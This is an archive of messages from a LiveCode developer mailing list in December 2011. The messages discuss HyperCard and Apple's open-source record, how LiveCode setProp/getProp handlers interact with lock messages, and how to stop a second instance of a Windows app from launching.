<2029C920-62F4-4B40-B911-1FA7033BA50C@numericable.com> Le 3 d?c. 2011 ? 08:16, Peter Alcibiades a ?crit : > Apple's worst enemy at that time was its > fanatical user base I am one of these ! (fanatical is a bit overdone...) The real question is : why this kind of persons exists ? From richmondmathewson at gmail.com Sat Dec 3 03:38:56 2011 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 03 Dec 2011 10:38:56 +0200 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <1322896599211-4152535.post@n4.nabble.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> Message-ID: <4ED9E020.7080703@gmail.com> On 12/03/2011 09:16 AM, Peter Alcibiades wrote: > Yes, Jobs killed a lot of things that were losing money - but that does not > explain why Apple would not open-source Hypercard if it didn't want to > support it. It was possible to stop the losses without killing the product, > but he chose not to. There had to be a reason for that. > I am unaware of Apple (or Microsoft, for that matter) ever having open-sourced anything. I have the feeling that the open-sourced mentality is so very different from the Apple mentality that the 2 just won't mix. From sc at sahores-conseil.com Sat Dec 3 04:36:24 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Sat, 3 Dec 2011 10:36:24 +0100 Subject: IMPORTANT: SoCal Meeting CANCELLED In-Reply-To: References: <4ED8EA4A.10603@fourthworld.com> Message-ID: Hi Jacques, I think so. Bill?re, the eleven fires town (XII st century) ; the first place in continental Europe to create its Golf club (1856) ? ;-) Pierre Le 2 d?c. 2011 ? 21:22, jacques CLAVEL a ?crit : > Pierre, > > Pour info : just on the other side of the Gave there is a town called : > Bill?re. Do you know? > > > 2011/12/2 Pierre Sahores > >> Same there in France, as long as i know... Do i mistake Kevin ? >> >> Le 2 d?c. 2011 ? 16:53, Andre Garzia a ?crit : >> >>> Where are they??? I would welcome some company here! I would set up a >> group >>> here if we had something like 4 or 5 guys/gals. >> >> -- >> Pierre Sahores >> mobile : 06 03 95 77 70 >> www.sahores-conseil.com >> >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From coiin at verizon.net Sat Dec 3 09:11:50 2011 From: coiin at verizon.net (Colin Holgate) Date: Sat, 03 Dec 2011 09:11:50 -0500 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: <4ED9E020.7080703@gmail.com> References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> <4ED9E020.7080703@gmail.com> Message-ID: To get you started, look into how many technologies are involved in these few examples: Darwin WebKit Firewire TrueType Bonjour Here's a page of over 200 open source aspects to OSX: http://www.apple.com/opensource/ On Dec 3, 2011, at 3:38 AM, Richmond wrote: > >I am unaware of Apple (or Microsoft, for that matter) ever having open-sourced anything. From todd at geistinteractive.com Sat Dec 3 09:27:50 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 06:27:50 -0800 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> <4ED9E020.7080703@gmail.com> Message-ID: That list is better described as a list of open source projects that Apple has contributed to. Darwin is composed of code developed by Apple, as well as code derived from NeXTSTEP, BSD, and other free software projects. WebKit is a fork of KHTML Many open source projects require you to publish the changes you make to them if you derive some commercial benefit. So that is a lot of what you see on that list. So TrueType and Bonjour may have come from Apple. But Apache and bash, I don't think so. Todd On Sat, Dec 3, 2011 at 6:11 AM, Colin Holgate wrote: > To get you started, look into how many technologies are involved in these > few examples: > > Darwin > WebKit > Firewire > TrueType > Bonjour > > Here's a page of over 200 open source aspects to OSX: > > http://www.apple.com/opensource/ > > > > > On Dec 3, 2011, at 3:38 AM, Richmond wrote: > > > >I am unaware of Apple (or Microsoft, for that matter) ever having > open-sourced anything. > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From coiin at verizon.net Sat Dec 3 10:27:51 2011 From: coiin at verizon.net (Colin Holgate) Date: Sat, 03 Dec 2011 10:27:51 -0500 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> <4ED9E020.7080703@gmail.com> Message-ID: <2331F8DE-25B4-407A-B279-F0524FF7E803@verizon.net> What you say is true, but the list of TrueType, Bonjour, WebKit, and Firewire, coming from Apple, is still a bit more than the "(n)ever having open-sourced anything" that Richmond suggested. On Dec 3, 2011, at 9:27 AM, Todd Geist wrote: > >So TrueType and Bonjour may have come from Apple. But > Apache and bash, I don't think so. From todd at geistinteractive.com Sat Dec 3 11:04:49 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 08:04:49 -0800 Subject: setProp and Lock messages Message-ID: Hello, I understand that SetProp and GetProp handlers are messages and if Lock messages is on then these will not work. But clearly people use GetProp and SetProp handlers. I see them used a lot in CustomControls. I assume the DataGrid uses them when you "set dgData of "?. So I am looking for clarification. When is it bad idea to use GetProp and SetProp handlers? Thanks Todd -- Todd Geist (805) 419-9382 From m.schonewille at economy-x-talk.com Sat Dec 3 11:16:44 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 3 Dec 2011 17:16:44 +0100 Subject: setProp and Lock messages In-Reply-To: References: Message-ID: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> Hi Todd, I don't quite understand your question. Surely, it is a good idea to use getProp and setProp handlers. You just need to make sure not to get trapped in a loop, but this applies to all messages. Sometimes, there is a danger that setting a property calls the setProp handler again, but locking messages prevents this from happening. A correct handler may look like this: setProp cProp x lock messages set the cProp of the target to compress(x) end cProp getProp cProp lock messages return decompress(the cProp of the target) end cProp You need to lock messages if the target is an object on a card and the handler is at card or script level, or if the target is the card and the script is at stack level for instance. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 3 dec 2011, at 17:04, Todd Geist wrote: > Hello, > > I understand that SetProp and GetProp handlers are messages and if Lock > messages is on then these will not work. But clearly people use GetProp > and SetProp handlers. I see them used a lot in CustomControls. I assume the > DataGrid uses them when you "set dgData of "?. > > So I am looking for clarification. When is it bad idea to use GetProp and > SetProp handlers? > > Thanks > > Todd From todd at geistinteractive.com Sat Dec 3 11:29:48 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 08:29:48 -0800 Subject: setProp and Lock messages In-Reply-To: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> Message-ID: Hi Mark I see in the documentation and lessons that setProp and getProp handlers will fail if messages are locked Doesn't this present a problem if you are using Custom Props with setProp to store state for example. If somewhere in your code you lock messages and then try to store state, it will fail won't it? Thanks Todd On Sat, Dec 3, 2011 at 8:16 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Todd, > > I don't quite understand your question. Surely, it is a good idea to use > getProp and setProp handlers. You just need to make sure not to get trapped > in a loop, but this applies to all messages. Sometimes, there is a danger > that setting a property calls the setProp handler again, but locking > messages prevents this from happening. A correct handler may look like this: > > setProp cProp x > lock messages > set the cProp of the target to compress(x) > end cProp > > getProp cProp > lock messages > return decompress(the cProp of the target) > end cProp > > You need to lock messages if the target is an object on a card and the > handler is at card or script level, or if the target is the card and the > script is at stack level for instance. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color > Converter today. 20% commission! > > On 3 dec 2011, at 17:04, Todd Geist wrote: > > > Hello, > > > > I understand that SetProp and GetProp handlers are messages and if Lock > > messages is on then these will not work. But clearly people use GetProp > > and SetProp handlers. I see them used a lot in CustomControls. I assume > the > > DataGrid uses them when you "set dgData of "?. > > > > So I am looking for clarification. When is it bad idea to use GetProp and > > SetProp handlers? > > > > Thanks > > > > Todd > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From richmondmathewson at gmail.com Sat Dec 3 11:29:19 2011 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 03 Dec 2011 18:29:19 +0200 Subject: [OT}] Hypercard and an uneasy read. In-Reply-To: References: <4ED7D75A.20505@gmail.com> <53F684FC-C421-4A9C-A30C-93C4DE6143E5@twft.com> <8CE7EC02FCB2526-1494-23B77@webmail-d030.sysops.aol.com> <3B8E4ABA-80FC-4917-97BF-50B5E9FBB410@mac.com> <1322896599211-4152535.post@n4.nabble.com> <4ED9E020.7080703@gmail.com> Message-ID: <4EDA4E5F.9050503@gmail.com> On 12/03/2011 04:11 PM, Colin Holgate wrote: > To get you started, look into how many technologies are involved in these few examples: > > Darwin > WebKit > Firewire > TrueType > Bonjour > > Here's a page of over 200 open source aspects to OSX: > > http://www.apple.com/opensource/ > Thanks . . . :) > > > On Dec 3, 2011, at 3:38 AM, Richmond wrote: > >>> I am unaware of Apple (or Microsoft, for that matter) ever having open-sourced anything. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Sat Dec 3 11:42:13 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 3 Dec 2011 17:42:13 +0100 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> Message-ID: <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Hi Todd, Don't believe everything you read in the documentation. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 3 dec 2011, at 17:29, Todd Geist wrote: > Hi Mark > > I see in the documentation and lessons that setProp and getProp handlers > will fail if messages are locked > > Doesn't this present a problem if you are using Custom Props with setProp > to store state for example. If somewhere in your code you lock messages and > then try to store state, it will fail won't it? > > Thanks > > Todd > From todd at geistinteractive.com Sat Dec 3 11:57:37 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 08:57:37 -0800 Subject: setProp and Lock messages In-Reply-To: <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: umm? well that is just about the scariest thing I have every heard on this list. On Sat, Dec 3, 2011 at 8:42 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Todd, > > Don't believe everything you read in the documentation. So exactly how are new people supposed to learn? Todd From m.schonewille at economy-x-talk.com Sat Dec 3 12:08:08 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 3 Dec 2011 18:08:08 +0100 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: Todd, You learn by trial and error and by asking other people. Of course, the documentation gives some clues but most of it is rather old. The example I gave you in my previous e-mail works. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 3 dec 2011, at 17:57, Todd Geist wrote: > umm? well that is just about the scariest thing I have every heard on this > list. > > On Sat, Dec 3, 2011 at 8:42 AM, Mark Schonewille < > m.schonewille at economy-x-talk.com> wrote: > >> Hi Todd, >> >> Don't believe everything you read in the documentation. > > > So exactly how are new people supposed to learn? > > Todd From todd at geistinteractive.com Sat Dec 3 12:35:51 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 09:35:51 -0800 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: Hi Mark Thank you for taking the time to respond. Perhaps I didn't ask the question correctly, but as far as I can tell your example does address the question I was asking. On Sat, Dec 3, 2011 at 9:08 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > The example I gave you in my previous e-mail works. Take a look at this example. On doSomething lock messages set the cProp of me to 3 end doSomething setProp cProp x lock messages if x = "a" then set cProp of the target to x else if x = "b" then set the cProp of the target to x end if end cProp I have written a setProp to only handle accept certain values, ("a" and "b" ). The DoSomething handler represents "Some other code" that attempts to set the property. Since it has set locked messages, the setProp is ignored and values other than a and b can be set. That is what I am talking about. This seems to me to be a pretty big problem. How can I ever be sure that setProp and GetProp handlers will actually be used. I may not have control over all the code and there might be a lock messages somewhere up the chain. Todd From todd at geistinteractive.com Sat Dec 3 13:01:45 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 10:01:45 -0800 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: More on this? I just tested locking messages prior to calling a handler that eventually sets the dgData of a DataGrid. Of course no data is set into the Datagrid. Is this not a problem? Todd From m.schonewille at economy-x-talk.com Sat Dec 3 13:14:22 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 3 Dec 2011 19:14:22 +0100 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: Hi Todd, I understand your problem now. I think it is up to the programmer to be careful and accurate. The lock messages command exists exactly for preventing messages from being sent. You just have to make sure that you don't lock messages in a handler without unlocking them while you should. Sometimes you might want to lock messages before setting a property and sometimes you don't. It is your task do make the right decision and to remember and lock messages commands. Keep in mind that messages are locked until the originating handler finished running. The lock messages command doesn't persist forever, so this one thing less to worry about. If you have a really complicated handler, then there are ways to make sure that messages are not locked, for example repeat until not the lockMessages unlock messages end repeat I hope this helps. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 3 dec 2011, at 18:35, Todd Geist wrote: > Hi Mark > > Thank you for taking the time to respond. Perhaps I didn't ask the question > correctly, but as far as I can tell your example does address the question > I was asking. > > > On Sat, Dec 3, 2011 at 9:08 AM, Mark Schonewille < > m.schonewille at economy-x-talk.com> wrote: > >> The example I gave you in my previous e-mail works. > > > > Take a look at this example. > > On doSomething > > lock messages > > set the cProp of me to 3 > > end doSomething > > > > setProp cProp x > > lock messages > > > > if x = "a" then > > set cProp of the target to x > > else if x = "b" then > > set the cProp of the target to x > > end if > > > > end cProp > > > I have written a setProp to only handle accept certain values, ("a" and "b" > ). The DoSomething handler represents "Some other code" that attempts to > set the property. Since it has set locked messages, the setProp is ignored > and values other than a and b can be set. > > That is what I am talking about. > > This seems to me to be a pretty big problem. How can I ever be sure that > setProp and GetProp handlers will actually be used. I may not have control > over all the code and there might be a lock messages somewhere up the chain. > > Todd From m.schonewille at economy-x-talk.com Sat Dec 3 13:21:50 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 3 Dec 2011 19:21:50 +0100 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: Todd, I don't think this is a problem because you can unlock messages right before setting the data of the datagrid and lock them again immediately thereafter. unlock messages set the dgData of grp x to bla lock messages The only problem I foresee is that you have a handler that runs recursively, e.g. on foo repeat with x = 1 to number of groups delete grp 1 end repeat send foo to me in 1 sec end foo This is a silly handler, but if you have something similar to this, then you might want to lock the messages while you create a group (e.g. a datagrid) dynamically, and use the group for some tasks before allowing it to be deleted. Again, this is a silly scenario, but it serves the purpose. Your solution would be: lock messages copy grp "My Datagrid" from stack "Some Stack" to stack "This Stack" // next line won't work set the dgData of grp "My Datagrid" of stack "This Stack" to bla // do some things with the data grid here unlock messages // now the datagrid will be deleted To solve this problem, you use a local variable instead of locking the messages: local lAllowDeletion on foo if lAllowDeletion is not false then repeat with x = 1 to number of groups delete grp 1 end repeat end if send foo to me in 1 sec end foo And now you could set the data of the datagrid like this: put false into lAllowDeletion copy grp "My Datagrid" from stack "Some Stack" to stack "This Stack" // next line WILL work set the dgData of grp "My Datagrid" of stack "This Stack" to bla // do some things with the data grid here put true into lAllowDeletion // now the datagrid will be deleted Sometimes relying on lockMessages just may not be the right thing to do. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Become our partner in sales http://qery.us/1bq Start selling Color Converter today. 20% commission! On 3 dec 2011, at 19:01, Todd Geist wrote: > More on this? > > I just tested locking messages prior to calling a handler that eventually > sets the dgData of a DataGrid. Of course no data is set into the Datagrid. > > Is this not a problem? > > Todd From todd at geistinteractive.com Sat Dec 3 13:24:12 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 10:24:12 -0800 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: Thanks Mark, I have also found that if you use send message to me in milliseconds That lets the current execution chain end which set lock messages to False before continuing Todd On Sat, Dec 3, 2011 at 10:14 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Todd, > > I understand your problem now. I think it is up to the programmer to be > careful and accurate. The lock messages command exists exactly for > preventing messages from being sent. You just have to make sure that you > don't lock messages in a handler without unlocking them while you should. > Sometimes you might want to lock messages before setting a property and > sometimes you don't. It is your task do make the right decision and to > remember and lock messages commands. > > Keep in mind that messages are locked until the originating handler > finished running. The lock messages command doesn't persist forever, so > this one thing less to worry about. > > If you have a really complicated handler, then there are ways to make sure > that messages are not locked, for example > > repeat until not the lockMessages > unlock messages > end repeat > > I hope this helps. > > -- > Best regards, > > Mark Schonewille > > Economy-x-Talk Consulting and Software Engineering > Homepage: http://economy-x-talk.com > Twitter: http://twitter.com/xtalkprogrammer > KvK: 50277553 > > Become our partner in sales http://qery.us/1bq Start selling Color > Converter today. 20% commission! > > On 3 dec 2011, at 18:35, Todd Geist wrote: > > > Hi Mark > > > > Thank you for taking the time to respond. Perhaps I didn't ask the > question > > correctly, but as far as I can tell your example does address the > question > > I was asking. > > > > > > On Sat, Dec 3, 2011 at 9:08 AM, Mark Schonewille < > > m.schonewille at economy-x-talk.com> wrote: > > > >> The example I gave you in my previous e-mail works. > > > > > > > > Take a look at this example. > > > > On doSomething > > > > lock messages > > > > set the cProp of me to 3 > > > > end doSomething > > > > > > > > setProp cProp x > > > > lock messages > > > > > > > > if x = "a" then > > > > set cProp of the target to x > > > > else if x = "b" then > > > > set the cProp of the target to x > > > > end if > > > > > > > > end cProp > > > > > > I have written a setProp to only handle accept certain values, ("a" and > "b" > > ). The DoSomething handler represents "Some other code" that attempts > to > > set the property. Since it has set locked messages, the setProp is > ignored > > and values other than a and b can be set. > > > > That is what I am talking about. > > > > This seems to me to be a pretty big problem. How can I ever be sure that > > setProp and GetProp handlers will actually be used. I may not have > control > > over all the code and there might be a lock messages somewhere up the > chain. > > > > Todd > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From ambassador at fourthworld.com Sat Dec 3 16:53:13 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 03 Dec 2011 13:53:13 -0800 Subject: setProp and Lock messages In-Reply-To: References: Message-ID: <4EDA9A49.9050909@fourthworld.com> Using getProp and setProp seem like good choices initially, since they allow us to make what might appear to be reasonably simple, property-driven code. But - They are tricky, for many reasons. You've identified the most commonly-discussed issue: preventing recursion by locking messages. But there's a bigger issue: if any other script has the lockMessages set while triggering any action which would normally trigger a getProp or setProp, your getProp/setProp won't happen. For these reasons, I've pretty much lost interest in getProp and setProp, in favor of more broadly-reliable and explicit methods of doing things, even if these alternatives seem a bit less fashionable: I just use accessor handlers. Nothing fancy, just explicit calls to commands and functions to get and set values and trigger other behaviors where once upon a time I might have used getProp/setProp. Extra bonus points: it often requires less typing as well. :) getProp/setProp can still be very useful when you need to work on specific control instances and want the behavior to be bypassed whenever lockMessages is true. In that rare case, getProp/setProp are unbeatable. But for everything else, I tend to use simple accessors.... -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From todd at geistinteractive.com Sat Dec 3 17:42:09 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 14:42:09 -0800 Subject: setProp and Lock messages In-Reply-To: <4EDA9A49.9050909@fourthworld.com> References: <4EDA9A49.9050909@fourthworld.com> Message-ID: yeah I get it now. But I really prefer the property driven code syntax. Plus in my current experiments I am try to use buttons and behaviors to simulate code only Objects. //creates a new database object. just a button with a behavior. put defineDatabase( \ "Contacts", \ tServer, \ tAccount, \ tPassword, \ ) into tDatabase // this var now has the object ref of the New Object // nice property driven syntax get the cVersion of tDatabase // vs accessors dispatch function "getVersion" to tDatabase get the result // although I need to use this anyway for commands dispatch "Command" to tDatabase with pData get the result But I like all of these more than the alternative of using accessors on library stacks with name spaced accessors db_Contacts_getVersion // or db_getVersion("Contacts") Although this is a lot less typing, I just don't care for it. Maybe I am stupid... On Sat, Dec 3, 2011 at 1:53 PM, Richard Gaskin wrote: > > > I just use accessor handlers. Nothing fancy, just explicit calls to > commands and functions to get and set values and trigger other behaviors > where once upon a time I might have used getProp/setProp. > > Extra bonus points: it often requires less typing as well. :) -- Todd Geist (805) 419-9382 From zryip.theslug at gmail.com Sat Dec 3 18:53:42 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Sun, 4 Dec 2011 00:53:42 +0100 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: On Sat, Dec 3, 2011 at 7:01 PM, Todd Geist wrote: Hi Todd, > More on this? > > I just tested locking messages prior to calling a handler that eventually > sets the dgData of a DataGrid. ?Of course no data is set into the Datagrid. > > Is this not a problem? Using the lock messages command with properties changes the scope of the properties from the virtual to the existing (or physical) state 1. Messages are unlocked and the control contains the corresponding property definition: getProp and setProp will be executed. In this case the property is virtual Example: set the dgData of grp "MyDatagrid" 2. Messages are unlocked and the corresponding properties definition not exists in the control. In this case this is a "physical" property you can access with the Inspector's "Custom properties" tab Example set the cDgData of grp "MyDatagrid" 3. Messages are locked and the corresponding property exists in the control. By locking the messages, you will change the scope of properties from the virtual state to the "physical" state Using: SetProp myProp pValue lock messages set the myProp of the target to pValue end myProp Will not only prevent a loop issue, but also is a good way to save the virtual property value, inside an object. By using: lock messages set the dgData of grp "myDataGrid" to tData We can say, according to the datagrid doc, that the dgData property will fail because the dgData will not be triggered by the datagrid engine. In my opinion, always be confident in the datagrid documentation and do not believe Mark when he says, you should not believe in the datagrid recommendations... Or point him out the documentation. 8-) http://lessons.runrev.com/s/lessons/m/datagrid/l/7340-What-Sorts-of-Things-Should-I-Not-Do-In-Order-To-Avoid-Needless-Suffering- You should check the custom properties of the datagrid group with the inspector. You should have now a dgData property inside it with all the data you tried to display. You should remove this dgData property, in the goal to keep your project free of useless data. Best Regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From todd at geistinteractive.com Sat Dec 3 19:17:27 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 3 Dec 2011 16:17:27 -0800 Subject: setProp and Lock messages In-Reply-To: References: <1F2CA741-1414-4A3E-BFAF-E4264A62CCA9@economy-x-talk.com> <956326C4-5783-4FC3-817A-86219D45179D@economy-x-talk.com> Message-ID: Thanks for this explanation. I think I get most of the issues now. I was looking for a dividing line between when to use them and when not to use them. Of course the line isn't clear, but now I think I understand what to watch out for. I like using setProp and getProp. It feels right to me. But I now understand where this could lead to to trouble. In those cases where I feel it is likely that locked messages may get in the way I will provide Accessor methods. Thanks again Todd On Sat, Dec 3, 2011 at 3:53 PM, zryip theSlug wrote: > > > Using the lock messages command with properties changes the scope of > the properties from the virtual to the existing (or physical) state > > 1. Messages are unlocked and the control contains the corresponding > property definition: > getProp and setProp will be executed. In this case the property is virtual > > Example: > set the dgData of grp "MyDatagrid" > > 2. Messages are unlocked and the corresponding properties definition > not exists in the control. > In this case this is a "physical" property you can access with the > Inspector's "Custom properties" tab > > Example > set the cDgData of grp "MyDatagrid" > > 3. Messages are locked and the corresponding property exists in the > control. > By locking the messages, you will change the scope of properties from > the virtual state to the "physical" state > > Using: > > SetProp myProp pValue > lock messages > set the myProp of the target to pValue > end myProp > > Will not only prevent a loop issue, but also is a good way to save the > virtual property value, inside an object. > > > By using: > lock messages > set the dgData of grp "myDataGrid" to tData > > We can say, according to the datagrid doc, that the dgData property > will fail because the dgData will not be triggered by the datagrid > engine. > In my opinion, always be confident in the datagrid documentation and > do not believe Mark when he says, you should not believe in the > datagrid recommendations... > Or point him out the documentation. 8-) > > http://lessons.runrev.com/s/lessons/m/datagrid/l/7340-What-Sorts-of-Things-Should-I-Not-Do-In-Order-To-Avoid-Needless-Suffering- > > > You should check the custom properties of the datagrid group with the > inspector. You should have now a dgData property inside it with all > the data you tried to display. You should remove this dgData property, > in the goal to keep your project free of useless data. > > > Best Regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Todd Geist (805) 419-9382 From livfoss at mac.com Sun Dec 4 07:53:37 2011 From: livfoss at mac.com (Graham Samuel) Date: Sun, 04 Dec 2011 13:53:37 +0100 Subject: Preventing multiple instances of a Windows app - still a problem Message-ID: <0546C7CA-8E41-4609-879C-AE2917142578@mac.com> Those with long memories may recall that last May (!) I was looking for a solution to the following problem: In a Windows environment, I have a LiveCode app that sometimes is required to launch another, non-LC, app and then quit. This is quite easy to accomplish with LC's 'launch' command, and rather pleasingly, the 'quit' still goes on working when the new app comes to the foreground. However a problem can arise if my user does this trick more than once without exiting the non-LC program (let's call it 'Troubling App'). This is because the 'launch' command doesn't check for an existing instance of Troubling App, but just happily launches a second instance (and in principle, a third, fourth etc). The LC dictionary leads one to believe that one can detect the presence of a second instance, but this isn't true - this only applies, if at all, to LC-originated executables. Last May I got lots of good advice from this list (specially from Mike Bonner) about how to deal with this problem, and it came down to running a little VB script that ran through the open processes on the machine and killed any duplicate of the program in question: this is not the absolutely ideal solution, which would be to tell the LiveCode script that an instance already exists so that the launch won't be needed, but it is workable. Except for one show-stopper: in the example above I chose 'Troubling App' as a name, **because it has a space in it**. It turns out the VB script I was given worked fine for 'Firefox' for example, but didn't work for any program name with a space in it - this despite my enclosing the statement referring to the program in quotes, as in: If objProcess.name = "Troubling App.exe" then I never got past this obstacle, and stopped thinking about it - but now it's come back to bite me again. Can anyone explain what I should do - maybe it's as simple as representing the program name in another way? TIA Graham PS Just in case you're wondering, I can't change the name of the program in question, as it already has around 10000 users. From th.douez at gmail.com Sun Dec 4 09:36:41 2011 From: th.douez at gmail.com (Thierry Douez) Date: Sun, 4 Dec 2011 15:36:41 +0100 Subject: Preventing multiple instances of a Windows app - still a problem In-Reply-To: 